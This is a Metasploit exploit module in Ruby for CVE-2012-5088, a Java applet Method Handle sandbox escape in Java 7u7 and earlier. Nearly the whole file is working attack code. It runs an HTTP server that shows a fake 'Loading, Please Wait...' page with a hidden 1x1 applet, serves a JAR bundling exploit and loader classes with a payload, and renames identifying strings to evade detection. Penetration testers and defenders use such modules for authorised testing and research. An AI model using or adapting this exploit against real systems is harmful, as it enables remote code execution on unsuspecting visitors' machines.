Spencer McIntyre
130 lines
4.1 KiB
Ruby
130 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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# include Msf::Exploit::Remote::BrowserAutopwn
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# autopwn_info({ :javascript => false })
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Java Applet Method Handle Remote Code Execution',
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'Description' => %q{
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This module abuses the Method Handle class from a Java Applet to run arbitrary
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Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
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earlier.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'Unknown', # Vulnerability discovery at security-explorations.com
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'juan vazquez' # Metasploit module
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],
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'References' => [
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[ 'CVE', '2012-5088' ],
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[ 'OSVDB', '86352' ],
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[ 'BID', '56057' ],
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[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
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[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
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],
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'Payload' => { 'Space' => 20480, 'DisableNops' => true },
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'Targets' => [
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[
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'Generic (Java Payload)',
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{
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'Platform' => ['java'],
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'Arch' => ARCH_JAVA
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}
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],
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[
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'Windows x86 (Native Payload)',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86
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}
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],
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[
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'Mac OS X x86 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86
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}
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],
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[
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'Linux x86 (Native Payload)',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2012-10-16',
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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end
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def setup
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path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5088', 'Exploit.class')
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@exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }
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path = File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-5088', 'B.class')
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@loader_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }
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@exploit_class_name = rand_text_alpha('Exploit'.length)
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@exploit_class.gsub!('Exploit', @exploit_class_name)
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super
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end
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def on_request_uri(cli, request)
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print_status("handling request for #{request.uri}")
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case request.uri
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when /\.jar$/i
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jar = payload.encoded_jar
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jar.add_file("#{@exploit_class_name}.class", @exploit_class)
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jar.add_file('B.class', @loader_class)
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metasploit_str = rand_text_alpha('metasploit'.length)
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payload_str = rand_text_alpha('payload'.length)
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jar.entries.each do |entry|
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entry.name.gsub!('metasploit', metasploit_str)
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entry.name.gsub!('Payload', payload_str)
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entry.data = entry.data.gsub('metasploit', metasploit_str)
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entry.data = entry.data.gsub('Payload', payload_str)
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end
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jar.build_manifest
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send_response(cli, jar, { 'Content-Type' => 'application/octet-stream' })
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when %r{/$}
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payload = regenerate_payload(cli)
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if !payload
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print_error('Failed to generate the payload.')
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send_not_found(cli)
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return
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end
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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else
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send_redirect(cli, get_resource + '/', '')
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end
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end
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def generate_html
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html = %(<html><head><title>Loading, Please Wait...</title></head>)
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html += %(<body><center><p>Loading, Please Wait...</p></center>)
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html += %(<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">)
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html += %(</applet></body></html>)
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return html
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end
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end
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